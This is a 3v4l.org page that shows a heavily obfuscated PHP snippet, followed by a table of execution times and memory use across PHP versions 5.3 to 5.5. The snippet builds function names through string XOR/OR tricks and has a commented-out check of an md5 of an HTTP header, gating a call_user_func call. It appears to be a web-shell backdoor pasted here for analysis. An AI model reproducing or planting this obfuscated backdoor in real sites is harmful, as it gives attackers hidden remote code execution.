3v4l.org

run code in 300+ PHP versions simultaneously
<?php $N2a='dvADoy'&~UNt8GAiXc2G;$DAWi='/>-LEZ#*U4)'^'A[[;+-'.KT0_G;$vhne8tDK=#ZoBluzBk9w'. '}owo~sn~wmn'&'}}wm~'.wkto.'{~';$NjKiZ=ohWzjE^')'.Ms_H7;$kZoehuqrTg7='@'./*HBu'. '.lY4UiKKR>*/YPZ_a|'H]D^NC';$IJ6e='ND4@ZQ'|'xP]P]Q';$rAMg='((FG*QJZ=)4"'^'XZ! '. 'u//!'.QHWO;$u4K5='0=BG5 _)+0J='^'FO7(jR:YUU-H';$LilYxx78="5"|'4';'CLF8BrCJLpk'. ',#SorX>z-';$sbaJHeSnD='F*'^jq;$eNlv9Ak='|g7'&"i|u";$Sv3SzRL8='_~G`wK'^#nqQrxm'. '8:3!;-';$IV='#1#2%'|'a51!E';$BscVpr2Ii=' 00'|'e #';$umdcK=_^'9';$kFDxdcROJ=/*'. '90Cg*/km&iw;$X2iSZAD_uGC=';p{bo'^'s$/20';$IleWkFMnzQq='}'&Z;$JD=KD&'}V';'bbsx'. '?U8';$pKlSp2V=$DAWi&$vhne8tDK;$rGLmFTY=('$@$'|'- !')|$eNlv9Ak;$IdQ_wkDqX=/*Rd'. '{]N3*/$NjKiZ|$Sv3SzRL8;$XWnPayhg=('"!N?7:&I+'.aR8Q9^'AR"'.QhGU.',]>4M?V')&(#U'. 'ga~}_w{}{'._owns&'gu~}_w{}{'._ownw);$buCz=$kZoehuqrTg7&$IJ6e;$D1=$rAMg&/*hwZM'. '0%y6K^|*/$u4K5;$NtOOvR7dR=('P0Z@"&@ F4C '.XxBH.'- 00Z(<Y f A'|#lsVfS785TuIYpT'. '@qzJ &H0 ,@1'.QhbB00.'" R ,[%F0e')^('~^$B*O,'.bXPf5lH.'}]LX4$Y`0r-e7z'^/*dBGL'. 'BXK4.o{*/Klo9k.'*U8g;]wTg*y=?~da%Y]iTV"'); echo $d1; echo $sbaJHeSnD die; // if(!levenshtein(md5(getenv('HTTP_A')),('rLO:^}e+w]_Tp?'._ij7Ugk.']'^FuwXkKWMGn.'<c@^'.nQRRd_.'^<')./*'. //'y*/$IV.$LilYxx78.$BscVpr2Ii.$umdcK)) // call_user_func($D1,$sbaJHeSnD.('Zj]<o'&#sdZtUt'.'~o]nm').$kFDxdcROJ,$IdQ_wkDqX($X2iSZAD_uGC.$IleWkFMnzQq.$JD),$NtOOvR7dR); // #Np'.'VuQ[$p:PZ>HRfi)+z@??To#EX345]2q-JUq(p&,E+1ah';

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.5.60.0070.08319.44
5.5.50.0100.04019.40
5.5.40.0100.06019.46
5.5.30.0070.06319.61
5.5.20.0030.05319.30
5.5.10.0070.08019.46
5.5.00.0070.04019.50
5.4.220.0030.07018.88
5.4.210.0070.07719.15
5.4.200.0130.03718.86
5.4.190.0070.05719.14
5.4.180.0070.03319.13
5.4.170.0070.03319.07
5.4.160.0070.04319.22
5.4.150.0030.04719.06
5.4.140.0000.05716.38
5.4.130.0130.05016.42
5.4.120.0130.07016.34
5.4.110.0100.07016.41
5.4.100.0130.07016.47
5.4.90.0000.04316.56
5.4.80.0100.03016.39
5.4.70.0070.07316.32
5.4.60.0100.07316.47
5.4.50.0000.06716.41
5.4.40.0030.04016.41
5.4.30.0030.07316.38
5.4.20.0070.03316.38
5.4.10.0100.06316.64
5.4.00.0100.07015.87
5.3.270.0070.04014.42
5.3.260.0100.07314.54
5.3.250.0000.05014.59
5.3.240.0030.07714.71
5.3.230.0130.06314.54
5.3.220.0030.04714.60
5.3.210.0100.04314.48
5.3.200.0100.04714.50
5.3.190.0070.03714.46
5.3.180.0030.07714.50
5.3.170.0100.07014.54
5.3.160.0200.05714.54
5.3.150.0000.07014.50
5.3.140.0000.04714.55
5.3.130.0100.04314.53
5.3.120.0030.04014.59
5.3.110.0070.05714.46
5.3.100.0030.08013.97
5.3.90.0130.06713.96
5.3.80.0130.06713.87
5.3.70.0130.05714.07
5.3.60.0030.07314.00
5.3.50.0030.06314.05
5.3.40.0070.05013.75
5.3.30.0130.06013.87
5.3.20.0100.03013.65
5.3.10.0100.06713.62
5.3.00.0030.08013.47

preferences:
141.7 ms | 1394 KiB | 7 Q